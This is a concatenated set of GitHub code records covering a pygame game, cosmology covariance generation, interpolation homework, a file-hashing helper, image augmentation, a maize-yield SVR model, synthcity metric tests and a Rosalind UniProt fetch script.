exit_sprites.draw(screen)\n cur_sprites.draw(screen)\n clock.tick(FPS)\n pygame.display.flip()\n\n\nstart_screen()","repo_name":"Timbirli/project____pygame","sub_path":"Project.py","file_name":"Project.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"71804927904","text":"# This script is basically CovaPT's jupyter notebook, but in script form so you can more easily run it\n\nimport time, os, sys, warnings, math\nimport numpy as np\nfrom scipy.stats import qmc\n\nfrom multiprocessing import Pool\nfrom itertools import repeat\nfrom mpi4py import MPI\n\nsys.path.append('/home/u12/jadamo/')\n#sys.path.append(\"/home/joeadamo/Research\")\nimport src.CovaPT as CovaPT\n\n#-------------------------------------------------------------------\n# GLOBAL VARIABLES\n#-------------------------------------------------------------------\nAs_planck = 3.0447\nns_planck = 0.9649\nombh2_planck = 0.02237\n\n# wether or not to also vary nuisance parameters\n# if you want to emulate both gaussian and non-gaussian parts of the covariance matrix, set this to true\n# NOTE: This doubles the dimensionality of the parameter space, so you should also increase the \n# number of samples to compensate\nvary_nuisance = False\n# wether or not to sample from an external set of parameters instead\n# if this is true you should also specify the total number of params below\nload_external_params = False\n\n#N = 150400\nN = 1052800\n#N = 20000\n#N = 16\nN_PROC = 94\n#N_PROC=4\n\n#-------------------------------------------------------------------\n# FUNCTIONS\n#-------------------------------------------------------------------\n\ndire='/home/u12/jadamo/CovaPT/Example-Data/'\n#home_dir = \"/home/u12/jadamo/CovNet/Training-Set-HighZ-NGC/\"\n#home_dir = \"/xdisk/timeifler/jadamo/Training-Set-HighZ-NGC/\"\nhome_dir = \"/home/u12/jadamo/CovNet/Inportance-Set-1/\"\n#dire='/home/joeadamo/Research/CovaPT/Example-Data/'\n#home_dir = \"/home/joeadamo/Research/CovNet/Data/Inportance-Set/\"\n\ndef Latin_Hypercube(N, vary_nuisance=False, vary_ombh2=False, vary_ns=False):\n \"\"\"\n Generates a random latin hypercube sample of the parameters for generating the training set\n @param N {int} the number of samples to generate\n \"\"\"\n # TODO: impliment varying ombh2 and ns\n\n n_dim = 6\n if vary_nuisance == True: n_dim += 5\n #if vary_ombh2 == True: n_dim += 1\n #if vary_ns == True: n_dim += 1\n\n # bounds either taken from Wadekar et al (2020) or assumed to be \"very wide\"\n # NOTE: H0, A, and ombh2 have no assumed priors in that paper, so I chose an arbitrary large range\n # that minimizes the amount of failures when computing power spectra\n # NOTE: ns and omega_b have assumed values, as they claim using Planck priors makes no difference.\n # I'll therefore try to chose a range based on those priors found from https://wiki.cosmos.esa.int/planckpla/index.php/Cosmological_Parameters \n # For As, the reference value is taken from https://arxiv.org/pdf/1807.06209.pdf table 1 (the best fit column), \n # since Wadekar uses A = As / As_planck\n # ---Cosmology parameters sample bounds---\n # omch2_bounds = [0.004, 0.3] # Omega_cdm h^2\n # A_bounds = [0.2, 1.75] # Ratio of Amplitude of Primordial Power spectrum (As / As_planck)\n H0_bounds = [50, 100] # Hubble constant\n omch2_bounds = [0.01, 0.3] # Omega_cdm h^2\n A_bounds = [0.25, 1.65] # Ratio of Amplitude of Primordial Power spectrum (As / As_planck)\n b1_bounds = [1, 4] # Linear bias\n b2_bounds = [-5, 3] # Quadratic bias?\n bG2_bounds = [-4, 4] # \n\n ombh2_bounds = [0.005, 0.08] # Omega b h^2\n ns_bounds = [0.9, 1.1] # Spectral index\n # nuisance parameter sample bounds, should you chose to vary these when generating your training set\n cs0_bounds = [-120, 120]\n cs2_bounds = [-120, 120]\n cbar_bounds = [-1500, 2500]\n Pshot_bounds = [-20000, 20000]\n\n # sample the distribution of points using a Latin Hypercube\n # specify a seed so that each rank generates the SAME latin hypercube\n sampler = qmc.LatinHypercube(d=n_dim, seed=81341234)\n dist = sampler.random(n=N)\n\n # ---Cosmology parameters---\n H0 = dist[:,0]*(H0_bounds[1] - H0_bounds[0]) + H0_bounds[0]\n omch2 = dist[:,1]*(omch2_bounds[1] - omch2_bounds[0]) + omch2_bounds[0]\n A = dist[:,2]*(A_bounds[1] - A_bounds[0]) + A_bounds[0]\n b1 = dist[:,3]*(b1_bounds[1] - b1_bounds[0]) + b1_bounds[0]\n b2 = dist[:,4]*(b2_bounds[1] - b2_bounds[0]) + b2_bounds[0]\n bG2 = dist[:,5]*(bG2_bounds[1] - bG2_bounds[0]) + bG2_bounds[0]\n\n # if vary_ombh2:\n # ombh2 = dist[:,2]*(ombh2_bounds[1] - ombh2_bounds[0]) + ombh2_bounds[0]\n # if vary_ns:\n # ns = dist[:,4]*(ns_bounds[1] - ns_bounds[0]) + ns_bounds[0]\n if vary_nuisance == True:\n cs0 = dist[:,6]*(cs0_bounds[1] - cs0_bounds[0]) + cs0_bounds[0]\n cs2 = dist[:,7]*(cs2_bounds[1] - cs2_bounds[0]) + cs2_bounds[0]\n cbar = dist[:,8]*(cbar_bounds[1] - cbar_bounds[0]) + cbar_bounds[0]\n Pshot = dist[:,9]*(Pshot_bounds[1] - Pshot_bounds[0]) + Pshot_bounds[0]\n\n samples = np.vstack((H0, omch2, A, b1, b2, bG2, cs0, cs2, cbar, Pshot)).T\n header_str = \"H0, omch2, A, b1, b2, bG2, cs0, cs2, cbar, Pshot\"\n else:\n header_str = \"H0, omch2, A, b1, b2, bG2\"\n samples = np.vstack((H0, omch2, A, b1, b2, bG2)).T\n\n np.savetxt(\"Sample-params.txt\", samples, header=header_str)\n #return samples\n\ndef load_samples(N):\n \"\"\"\n Loads in a set of parameters to generate covariance matrices from\n \"\"\"\n samples = np.loadtxt(home_dir+\"importance-params.txt\", skiprows=1)\n samples = samples[:N, :]\n return samples\n\ndef CovAnalytic(H0, omch2, A, b1, b2, bG2, cs0, cs2, cbar, Pshot, z, i):\n \"\"\"\n Generates and saves the Non-Gaussian term of the analytic covariance matrix. This function is meant to be run\n in parallel.\n \"\"\"\n\n params = np.array([H0, omch2, A, b1, b2, bG2, cs0, cs2, cbar, Pshot])\n\n Mat_Calc = CovaPT.Analytic_Covmat(z, window_dir=\"/home/u12/jadamo/CovaPT/Example-Data/\")\n\n # calculate the covariance matrix\n C_G = Mat_Calc.get_gaussian_covariance(params, return_Pk=False)\n if True in np.isnan(C_G):\n print(\"idx\", i, \"failed to compute power spectrum! skipping...\")\n return -1\n\n C_SSC, C_T0 = Mat_Calc.get_non_gaussian_covariance(params)\n\n # Test that the matrix we calculated is positive definite. It it isn't, then skip\n try:\n L = np.linalg.cholesky(C_G + C_SSC + C_T0)\n\n # save results to a file for training\n idx = f'{i:06d}'\n params_save = np.array([H0, omch2, A, b1, b2, bG2])\n np.savez(home_dir+\"CovA-\"+idx+\".npz\", params=params_save, C_G=C_G, C_NG=C_SSC + C_T0)\n return 0\n except:\n print(\"idx\", i, \"is not positive definite! skipping...\")\n return -2\n\n#-------------------------------------------------------------------\n# MAIN\n#-------------------------------------------------------------------\ndef main():\n \n comm = MPI.COMM_WORLD\n size = MPI.COMM_WORLD.Get_size()\n rank = MPI.COMM_WORLD.Get_rank()\n\n if rank == 0:\n print(\"Varying nuisance parameters:\", vary_nuisance)\n print(\"Loading external set of parameters:\", load_external_params)\n\n # TEMP: ignore integration warnings to make output more clean\n warnings.filterwarnings(\"ignore\")\n\n t1 = time.time(); t2 = t1\n\n if rank == 0:\n # generate samples and sve them (only one rank does this!)\n Latin_Hypercube(N, vary_nuisance)\n comm.Barrier()\n # generate samples (done on each rank for simplicity)\n if load_external_params == False: file = \"Sample-params.txt\"\n else: file = home_dir+\"inportance-params.txt\"\n\n # Split up samples to multiple MPI ranks\n # but only read into one rank to prevent wierd race conditions\n if rank == 0:\n sample_full = np.loadtxt(file, skiprows=1)[:N]\n else: sample_full = np.zeros((N, 6))\n comm.Bcast(sample_full, root=0)\n\n assert N % size == 0\n offset = int((N / size) * rank)\n data_len = int(N / size)\n sample = sample_full[offset:offset+data_len,:]\n # sample = np.loadtxt(file, skiprows=offset, max_rows=data_len)\n assert sample.shape[0] == data_len\n\n # ---Cosmology parameters---\n H0 = sample[:,0]\n omch2 = sample[:,1]\n A = sample[:,2]\n b1 = sample[:,3]\n b2 = sample[:,4]\n bG2 = sample[:,5]\n\n # sample nuisance parameters, or set them to a constant\n if vary_nuisance == True:\n cs0 = sample[:6]\n cs2 = sample[:7]\n cbar = sample[:8]\n Pshot = sample[:9]\n else:\n cs0 = np.zeros(data_len)\n cs2 = np.zeros(data_len)\n cbar = np.ones(data_len)*500.\n Pshot = np.zeros(data_len)\n\n z = 0.61\n # split up workload to different nodes\n i = np.arange(offset, offset+data_len, dtype=np.int)\n\n # initialize pool for multiprocessing\n print(\"Rank\", rank, \"beginning matrix calculations...\")\n t1 = time.time()\n fail_compute_sub = 0\n fail_posdef_sub = 0\n with Pool(processes=N_PROC) as pool:\n for result in pool.starmap(CovAnalytic, zip(H0, omch2, A, b1, b2, bG2, cs0, cs2, cbar, Pshot, repeat(z), i)):\n if result == -1: fail_compute_sub+=1\n if result == -2: fail_posdef_sub+=1\n\n t2 = time.time()\n print(\"Rank {:0.0f} is Done! Took {:0.0f} hours {:0.0f} minutes\".format(rank, math.floor((t2 - t1)/3600), math.floor((t2 - t1)/60%60)))\n print(\"{:0.0f} matrices failed to compute power spectra\".format(fail_compute_sub))\n print(\"{:0.0f} matrices were not positive definite\".format(fail_posdef_sub))\n comm.Barrier()\n\n # gather reasons for failure\n fail_compute = comm.reduce(fail_compute_sub, op=MPI.SUM, root=0)\n fail_posdef = comm.reduce(fail_posdef_sub, op=MPI.SUM, root=0)\n\n if rank == 0:\n t2 = time.time()\n print(\"\\n All ranks done! Took {:0.0f} hours {:0.0f} minutes\".format(math.floor((t2 - t1)/3600), math.floor((t2 - t1)/60%60)))\n\n # there (should be) no directories in the output directory, so no need to loop over the files\n files = os.listdir(home_dir)\n num_success = len(files)\n print(\"Succesfully made {:0.0f} / {:0.0f} matrices ({:0.2f}%)\".format(num_success, N, 100.*num_success/N))\n print(\"{:0.0f} matrices failed to compute power spectra\".format(fail_compute))\n print(\"{:0.0f} matrices were not positive definite\".format(fail_posdef))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jadamo/CovNet","sub_path":"MakeTrainingSet.py","file_name":"MakeTrainingSet.py","file_ext":"py","file_size_in_byte":10206,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"33798412770","text":"#!/usr/bin/python\n#encoding: utf8\n\nimport numpy as np\nimport math as m\n\ndef cost_request(requests, video_sizes, latency_cloud, endpointConnection):\n nb_endpoint = len(endpointConnection)\n nb_videos = len(video_sizes)\n nb_cache = len(endpointConnection[0])\n print(nb_endpoint,nb_videos, nb_cache)\n cost_request_cache = np.zeros((nb_videos, nb_cache))\n for request in requests:\n video, endpoint , number = [int(i) for i in request]\n for cache in range(nb_cache):\n if endpointConnection[endpoint][cache] != m.inf:\n cost_request_cache[video][endpoint] += number*int(-endpointConnection[endpoint][cache]+latency_cloud\\\n [endpoint])/video_sizes[video]\n return cost_request_cache\n","repo_name":"AmineKheldouni/Google-Hash-Code-2017","sub_path":"QualifRound/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"2722669281","text":"import numpy as np\n\ndef newton_dd(x, y, xx):\n # x, y: pontos para gerar polinomio\n # xx: pontos a serem interpolados\n n = len(x)\n # calculamos a tabela das diferencas divididas -- otimizar para nao precisarmos armazenar uma tabela\n a = [[0]*n for i in range(n)]\n # a primeira coluna e o y -- nao e necessario armazenar novamente\n for i in range(n):\n a[i][0] = y[i]\n # percorremos as demais colunas\n for j in range(1, n):\n # depois as linhas\n for i in range(j, n):\n a[i][j] = (a[i][j-1] - a[i-1][j-1])/(x[i] - x[i-j])\n # calculamos o polinomio interpolador\n p = [0]*len(xx)\n for k in range(len(p)):\n prod = 1\n for i in range(n):\n p[k] += a[i][i] * prod\n prod *= (xx[k] - x[i])\n return a, p\n\n## VOU USAR ISSO AQUI PRA CALCULAR OS CORFICIENTES, PRA NAO TER QUE FAZER NA MAO\n# funcao interpolacao\ndef interpolacao(x, y):\n # montando matriz de Vandermond\n V = vandermond(x)\n # calculamos os coeficientes do polinomio interpolador\n coef = np.linalg.solve(V, y)\n return coef\n\n# calcula matriz de Vandermond\ndef vandermond(x):\n n = len(x)\n v = [[0]*n for i in range(n)]\n for i in range(n):\n for j in range(n):\n v[i][j] = x[i] ** j\n return v\n\ndef q1():\n x = np.array([-1, 0, 1, 3])\n y = np.array([3, 1, 3, 43])\n a, p2, = newton_dd(x, y, [2])\n coef = interpolacao(x, y)\n print(a)\n print(p2)\n print(coef)\n\nq1()","repo_name":"phaquinosilva/ufsc","sub_path":"INE5409/P3/q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8653150733","text":"from __future__ import print_function\nimport hashlib\nimport shutil\nimport os\n\nDEFAULT_HASH = 'sha512'\n\nclass Hash(object):\n\n def __init__(self, name):\n self._hash = hashlib.new(name)\n\n def write(self, data):\n self._hash.update(data)\n\n def read(self):\n return self._hash.hexdigest()\n\ndef filehash(filename, type_=DEFAULT_HASH):\n if not os.path.isfile(filename):\n raise ValueError(\"%r isn't a file\" % filename)\n\n digest = Hash(type_)\n with open(filename, 'r') as file_:\n shutil.copyfileobj(file_, digest)\n return digest.read()\n\ndef generateHashFromFiles(file_list):\n hasher = hashlib.md5()\n for path in file_list:\n with open(path, 'rb') as afile:\n buf = afile.read()\n hasher.update(b\"%u\\n\" % len(buf))\n hasher.update(buf)\n return hasher.hexdigest()\n\n# Home made hashdeep \ndef dirhash(dirname, type_=DEFAULT_HASH):\n \"\"\"Walk into a directory an return a unique hash for\n the directory structure and its files content.\"\"\"\n\n if not os.path.isdir(dirname):\n raise ValueError(\"%r isn't a directory\" % dirname)\n\n digest = Hash(type_)\n\n # List the directory structure\n path_list = []\n for dirname, dirlist, filelist in os.walk(dirname, followlinks=False):\n for filename in filelist:\n path_list.append(os.path.join(dirname, filename))\n path_list.sort()\n\n for path in path_list:\n # Change the hash even if the file or the directory is empty\n digest.write(path)\n\n # Update the hash with file content\n if os.path.isfile(path):\n with open(path, 'r') as file_:\n shutil.copyfileobj(file_, digest)\n\n return digest.read()\n\ndef pathhash(path, type_=DEFAULT_HASH):\n if os.path.isdir(path):\n return dirhash(path, type_)\n elif os.path.isfile(path):\n return filehash(path, type_)\n raise ValueError(\"%r isn't a directory nor a file\" % path)\n\n# you can use python -m slapos.recipe.librecipe.filehash [hash] path\nif __name__ == '__main__':\n import sys\n if len(sys.argv) == 1:\n raise ValueError(\"Not enough command line arguments\")\n if len(sys.argv) == 2:\n print(sys.argv[1], '-', pathhash(sys.argv[1]))\n else:\n print(sys.argv[2], '-', pathhash(sys.argv[2], sys.argv[1]))\n","repo_name":"SlapOS/slapos","sub_path":"slapos/recipe/librecipe/filehash.py","file_name":"filehash.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"7"} +{"seq_id":"24908293640","text":"from shared.pyutils.tensorutils import *\nfrom shared.pyutils.imageutils import *\n\ndef UtilAugmStitchImagesMxN(imgArr, sigma=2., dist=4):\n \"\"\"\n Sticth MxN images into M x N rectangle, blurring their borders\n :param imgArr: list of lists of images\n :param sigma: Blurring gaussian sigma at the border\n :param dist: Distance from teh seam at which we are blurring\n :return: Total image\n \"\"\"\n def _blurSeams(img, seamsList):\n assert len(img.shape) == 3\n h,w = img.shape[:2]\n blurArea = np.zeros((h,w,1), dtype=np.bool)\n for seam in seamsList[:-1]: # The last one is a seam at the edge\n blurArea[:,seam-dist:seam+dist,0] = True\n imgBlur = np.dstack([scipyFilters.gaussian_filter(img[:, :, i], sigma=sigma) for i in range(3)])\n return np.where(blurArea, imgBlur, img)\n def _stitchHor(imgList, padMode, seamsList):\n # Blur upper and lower edges of the image to improve smoothness of reflection\n blurredImgList = []\n for img in imgList:\n imgBlur = np.dstack([scipyFilters.gaussian_filter(img[:, :, i], sigma=sigma) for i in range(3)])\n blurredImgList.append(np.concatenate([imgBlur[:dist], img[dist:-dist], imgBlur[-dist:]], axis=0))\n return UtilStitchImagesHor(blurredImgList, padMode=padMode, seamsList=seamsList)\n imgList = []\n for horImgList in imgArr:\n seamsList = []\n img = _stitchHor(horImgList, padMode='reflect', seamsList=seamsList)\n imgList.append(np.transpose(_blurSeams(img, seamsList), axes=(1,0,2)))\n\n seamsList=[]\n img = _stitchHor(imgList, padMode='reflect', seamsList=seamsList)\n return np.transpose(_blurSeams(img, seamsList), axes=(1,0,2))\n\n\ndef UtilRandomNoiseMatrix(height, width, amplitude, sigma=None):\n noise = np.random.randn(height, width)\n if sigma is not None:\n noise = scipyFilters.gaussian_filter(noise, sigma=sigma)\n mult = amplitude / (np.linalg.norm(noise) / np.sqrt(height * width))\n return noise * mult\n\n\n\n","repo_name":"mptich/mlearn","sub_path":"ImageAugment/augmmisc.py","file_name":"augmmisc.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74108681822","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jan 11 12:58:37 2023\r\n\r\n@author: Xiongqi\r\n\"\"\"\r\n\r\n# import numpy as np\r\n# import pylab as plt\r\nfrom sklearn.svm import SVR\r\nimport pandas as pd\r\nfrom sklearn.model_selection import train_test_split \r\nfrom sklearn.metrics import r2_score\r\nfrom sklearn.metrics import explained_variance_score\r\nfrom sklearn.metrics import mean_squared_error\r\nimport random\r\n\r\ndef model(x_train,x_test,y_train,y_test):#模型主体,方便更换x与y\r\n model = SVR(gamma='auto'); \r\n print(model)\r\n model.fit(x_train,y_train); \r\n pred_y_train = model.predict(x_train)\r\n R2_train_all=r2_score(y_train,pred_y_train)\r\n EV_train_all=explained_variance_score(y_train,pred_y_train)\r\n MSE_train_all=mean_squared_error(y_train, pred_y_train)\r\n pred_y_test = model.predict(x_test)\r\n print(\"原始数据与预测值前15个值对比:\")\r\n for i in range(15): print(y_test[i],pred_y_test[i])\r\n R2_test_all=r2_score(y_test,pred_y_test)\r\n EV_test_all=explained_variance_score(y_test,pred_y_test)\r\n MSE_test_all=mean_squared_error(y_test, pred_y_test)\r\n print(\"训练集R2:\",R2_train_all)\r\n print(\"测试集R2:\", R2_test_all)\r\n print(\"训练集EV:\",EV_train_all)\r\n print(\"测试集EV:\", EV_test_all)\r\n print(\"训练集MSE:\",MSE_train_all)\r\n print(\"测试集MSE:\", MSE_test_all)\r\n return(pred_y_test,R2_test_all,R2_train_all,EV_test_all,EV_train_all,MSE_test_all,MSE_train_all)\r\n\r\n\r\n#定义训练集测试集划分函数\r\ndef train_test_group(x,y,test_size):\r\n x_index=list(x.index)#构建X的横坐标列表\r\n random.shuffle(x_index)#打乱X_index\r\n test_index=x_index[0:int(len(x_index)*test_size)]#取出打乱之后的前面百分之20的样本作为测试集\r\n train_index=x_index[int(len(x_index)*test_size):len(x_index)]#取出后面的百分之80作为训练集\r\n x_test=x.loc[test_index]#取出x的测试集\r\n x_train=x.loc[train_index]#取出x的训练集\r\n y_test=y[test_index]#取出y的测试集\r\n y_train=y[train_index]#取出y的训练集\r\n return x_train,x_test,y_train,y_test\r\n\r\n\r\nrandom.seed(1)#设置随机种子固定分组\r\n#使用玉米基因组SNP数据预测玉米产量\r\ndata_path='E:/桌面/机器学习导引/ori_data_csv/'\r\nx_ori_1=pd.read_csv(data_path+'genotype.csv',sep=',',index_col=0)\r\ny_ori_1=pd.read_csv(data_path+'RIL-Phenotypes.csv',index_col=0)\r\ny_1=y_ori_1['yd']\r\nx_1=x_ori_1\r\nx_train_1,x_test_1,y_train_1,y_test_1 = train_test_group(x_1, y_1, 0.2)#将所有样本中的百分之80作为训练集\r\n#将训练集与测试集的样本名记录下来\r\ntrain_index=list(x_train_1.index)\r\ntest_index=list(x_test_1.index)\r\n\r\n#将训练集与测试集写入文件\r\nf=open(data_path+\"train_index.csv\",\"w\")\r\nf.write('\\n'.join(train_index))\r\nf.close()\r\nf=open(data_path+\"test_index.csv\",\"w\")\r\nf.write('\\n'.join(test_index))\r\nf.close()\r\n\r\n#随机分组先生成行等量的数字,打乱之后按照数字将行号取出来再进行分组\r\nx_index_1=list(x_1.index)\r\nrandom.shuffle(x_index_1)\r\npred_y_test_1,R2_test_all_1,R2_train_all_1,EV_test_all_1,EV_train_all_1,MSE_test_all_1,MSE_train_all_1= model(x_train_1,x_test_1,y_train_1,y_test_1)\r\n\r\n#使用玉米转录组数据预测玉米产量\r\nx_ori_2=pd.read_csv(data_path+'RIL.E.5467.csv',sep=',',index_col=0)\r\ny_ori_2=pd.read_csv(data_path+'RIL-Phenotypes.csv',index_col=0)\r\ny_2=y_ori_2['yd']\r\nx_2=x_ori_2\r\nx_train_2,x_test_2,y_train_2,y_test_2 = train_test_group(x_2, y_2, 0.2)#将所有样本中的百分之80作为训练集\r\n#将训练集与测试集的样本名记录下来\r\ntrain_index=list(x_train_2.index)\r\ntest_index=list(x_test_2.index)\r\nx_index_2=list(x_2.index)\r\nrandom.shuffle(x_index_2)\r\npred_y_test_2,R2_test_all_2,R2_train_all_2,EV_test_all_2,EV_train_all_2,MSE_test_all_2,MSE_train_all_2= model(x_train_2,x_test_2,y_train_2,y_test_2)\r\n\r\n\r\n#使用玉米代谢组数据预测玉米产量\r\nx_ori_3=pd.read_csv(data_path+'Metabolic.csv',sep=',',index_col=0)\r\ny_ori_3=pd.read_csv(data_path+'RIL-Phenotypes.csv',index_col=0)\r\ny_3=y_ori_3['yd']\r\nx_3=x_ori_3\r\nx_train_3,x_test_3,y_train_3,y_test_3 = train_test_group(x_3, y_3, 0.2)#将所有样本中的百分之80作为训练集\r\n#将训练集与测试集的样本名记录下来\r\ntrain_index=list(x_train_3.index)\r\ntest_index=list(x_test_3.index)\r\nx_index_3=list(x_3.index)\r\nrandom.shuffle(x_index_3)\r\npred_y_test_3,R2_test_all_3,R2_train_all_3,EV_test_all_3,EV_train_all_3,MSE_test_all_3,MSE_train_all_3= model(x_train_3,x_test_3,y_train_3,y_test_3)\r\n\r\n#将预测结果写入文件\r\nf=open('E:/桌面/机器学习导引/Supporting Information/GP_test_prediction.csv',\"w\")\r\nf.write('\\n'.join(str(list(pred_y_test_1))[1:-1].split(', ')))\r\nf.close()\r\n\r\nf=open('E:/桌面/机器学习导引/Supporting Information/TP_test_prediction.csv',\"w\")\r\nf.write('\\n'.join(str(list(pred_y_test_2))[1:-1].split(', ')))\r\nf.close()\r\n\r\nf=open('E:/桌面/机器学习导引/Supporting Information/MP_test_prediction.csv',\"w\")\r\nf.write('\\n'.join(str(list(pred_y_test_3))[1:-1].split(', ')))\r\nf.close()","repo_name":"xq131452zh/GUIDANCE-OF-MACHINE-LEARNING","sub_path":"svm.py","file_name":"svm.py","file_ext":"py","file_size_in_byte":5026,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"40411497913","text":"# stdlib\nfrom typing import Callable, Tuple\n\n# third party\nimport numpy as np\nimport pandas as pd\nimport pytest\nfrom sklearn.datasets import load_iris\nfrom torchvision import datasets\n\n# synthcity absolute\nfrom synthcity.metrics.eval_sanity import (\n CloseValuesProbability,\n CommonRowsProportion,\n DataMismatchScore,\n DistantValuesProbability,\n NearestSyntheticNeighborDistance,\n)\nfrom synthcity.plugins import Plugin, Plugins\nfrom synthcity.plugins.core.dataloader import (\n DataLoader,\n GenericDataLoader,\n ImageDataLoader,\n)\n\n\ndef _eval_plugin(cbk: Callable, X: DataLoader, X_syn: DataLoader) -> Tuple:\n syn_score = cbk(\n X,\n X_syn,\n )\n\n sz = len(X_syn)\n X_rnd = GenericDataLoader(\n pd.DataFrame(np.random.randn(sz, len(X.columns)), columns=X.columns)\n )\n rnd_score = cbk(\n X,\n X_rnd,\n )\n\n return syn_score, rnd_score\n\n\n@pytest.mark.parametrize(\"test_plugin\", [Plugins().get(\"dummy_sampler\")])\ndef test_evaluate_data_mismatch_score(test_plugin: Plugin) -> None:\n X, y = load_iris(return_X_y=True, as_frame=True)\n X[\"target\"] = y\n Xloader = GenericDataLoader(X)\n\n test_plugin.fit(Xloader)\n X_gen = test_plugin.generate(100)\n\n evaluator = DataMismatchScore(\n use_cache=False,\n )\n\n score = evaluator.evaluate(\n Xloader,\n X_gen,\n )\n\n for key in score:\n assert score[key] == 0\n\n X_fail = X.head(100)\n X[\"target\"] = \"a\"\n\n score = evaluator.evaluate(\n GenericDataLoader(X),\n GenericDataLoader(X_fail),\n )\n\n for key in score:\n assert score[key] > 0\n assert score[key] < 1\n\n assert evaluator.type() == \"sanity\"\n assert evaluator.name() == \"data_mismatch\"\n assert evaluator.direction() == \"minimize\"\n\n def_score = evaluator.evaluate_default(\n GenericDataLoader(X),\n GenericDataLoader(X_fail),\n )\n assert isinstance(def_score, float)\n\n\n@pytest.mark.parametrize(\"test_plugin\", [Plugins().get(\"dummy_sampler\")])\ndef test_common_rows(test_plugin: Plugin) -> None:\n X, y = load_iris(return_X_y=True, as_frame=True)\n X[\"target\"] = y\n Xloader = GenericDataLoader(X)\n\n test_plugin.fit(Xloader)\n X_gen = test_plugin.generate(100)\n\n evaluator = CommonRowsProportion(\n use_cache=False,\n )\n syn_score, rnd_score = _eval_plugin(evaluator.evaluate, Xloader, X_gen)\n\n for key in syn_score:\n assert syn_score[key] > 0\n assert syn_score[key] < 1\n assert rnd_score[key] == 0\n\n assert evaluator.type() == \"sanity\"\n assert evaluator.name() == \"common_rows_proportion\"\n assert evaluator.direction() == \"minimize\"\n\n def_score = evaluator.evaluate_default(Xloader, X_gen)\n assert isinstance(def_score, float)\n\n\n@pytest.mark.parametrize(\"test_plugin\", [Plugins().get(\"dummy_sampler\")])\ndef test_evaluate_avg_distance_nearest_synth_neighbor(test_plugin: Plugin) -> None:\n X, y = load_iris(return_X_y=True, as_frame=True)\n X[\"target\"] = y\n Xloader = GenericDataLoader(X)\n\n test_plugin.fit(Xloader)\n X_gen = test_plugin.generate(100)\n\n evaluator = NearestSyntheticNeighborDistance()\n\n syn_score, rnd_score = _eval_plugin(evaluator.evaluate, Xloader, X_gen)\n\n for key in syn_score:\n assert syn_score[key] > 0\n assert syn_score[key] < 1\n\n assert rnd_score[key] > 0\n assert rnd_score[key] < 1\n assert syn_score[key] < rnd_score[key]\n\n assert evaluator.type() == \"sanity\"\n assert evaluator.name() == \"nearest_syn_neighbor_distance\"\n assert evaluator.direction() == \"minimize\"\n\n def_score = evaluator.evaluate_default(Xloader, X_gen)\n assert isinstance(def_score, float)\n\n\n@pytest.mark.parametrize(\"test_plugin\", [Plugins().get(\"dummy_sampler\")])\ndef test_evaluate_close_values(test_plugin: Plugin) -> None:\n X, y = load_iris(return_X_y=True, as_frame=True)\n X[\"target\"] = y\n Xloader = GenericDataLoader(X)\n\n test_plugin.fit(Xloader)\n X_gen = test_plugin.generate(100)\n\n evaluator = CloseValuesProbability(\n use_cache=False,\n )\n syn_score, rnd_score = _eval_plugin(evaluator.evaluate, Xloader, X_gen)\n\n for key in syn_score:\n assert 0 < syn_score[key] < 1\n assert 0 < rnd_score[key] < 1\n assert syn_score[key] > rnd_score[key]\n\n assert evaluator.type() == \"sanity\"\n assert evaluator.name() == \"close_values_probability\"\n assert evaluator.direction() == \"maximize\"\n\n def_score = evaluator.evaluate_default(Xloader, X_gen)\n assert isinstance(def_score, float)\n\n\n@pytest.mark.parametrize(\"test_plugin\", [Plugins().get(\"dummy_sampler\")])\ndef test_evaluate_distant_values(test_plugin: Plugin) -> None:\n X, y = load_iris(return_X_y=True, as_frame=True)\n X[\"target\"] = y\n Xloader = GenericDataLoader(X)\n\n test_plugin.fit(Xloader)\n X_gen = test_plugin.generate(100)\n\n evaluator = DistantValuesProbability()\n syn_score, rnd_score = _eval_plugin(evaluator.evaluate, Xloader, X_gen)\n\n for key in syn_score:\n assert 0 < syn_score[key] < 1\n assert 0 < rnd_score[key] < 1\n assert syn_score[key] < rnd_score[key]\n\n assert evaluator.type() == \"sanity\"\n assert evaluator.name() == \"distant_values_probability\"\n assert evaluator.direction() == \"minimize\"\n\n def_score = evaluator.evaluate_default(Xloader, X_gen)\n assert isinstance(def_score, float)\n\n\ndef test_image_support() -> None:\n dataset = datasets.MNIST(\".\", download=True)\n\n X1 = ImageDataLoader(dataset).sample(100)\n X2 = ImageDataLoader(dataset).sample(100)\n\n for evaluator in [\n CloseValuesProbability,\n CommonRowsProportion,\n DataMismatchScore,\n DistantValuesProbability,\n NearestSyntheticNeighborDistance,\n ]:\n score = evaluator().evaluate(X1, X2)\n assert isinstance(score, dict)\n for k in score:\n assert score[k] >= 0\n assert not np.isnan(score[k])\n","repo_name":"vanderschaarlab/synthcity","sub_path":"tests/metrics/test_sanity.py","file_name":"test_sanity.py","file_ext":"py","file_size_in_byte":5940,"program_lang":"python","lang":"en","doc_type":"code","stars":246,"dataset":"github-code","pt":"7"} +{"seq_id":"34431625313","text":"# import urllib\n# from urllib.request import urlopen\n# import os\n# import ssl\n# ssl._create_default_https_context = ssl._create_unverified_context\n# from urllib.request import urlopen\n# import re\n\n# filenames = []\n# sequences = []\n# f = open('rosalind_mprt.txt', 'r')\n# for l in f:\n# l = l.replace('\\n', '')\n# filename = l + '.txt' \n# filenames.append(l)\n# urllib.request.urlretrieve('http://www.uniprot.org/uniprot/' + l + '.fasta', filename)\n# f1 = open(filename, 'r')\n# counter = 0 \n# line = '' \n# for l1 in f1:\n# if counter != 0:\n# line += l1\n# counter += 1 \n# line = 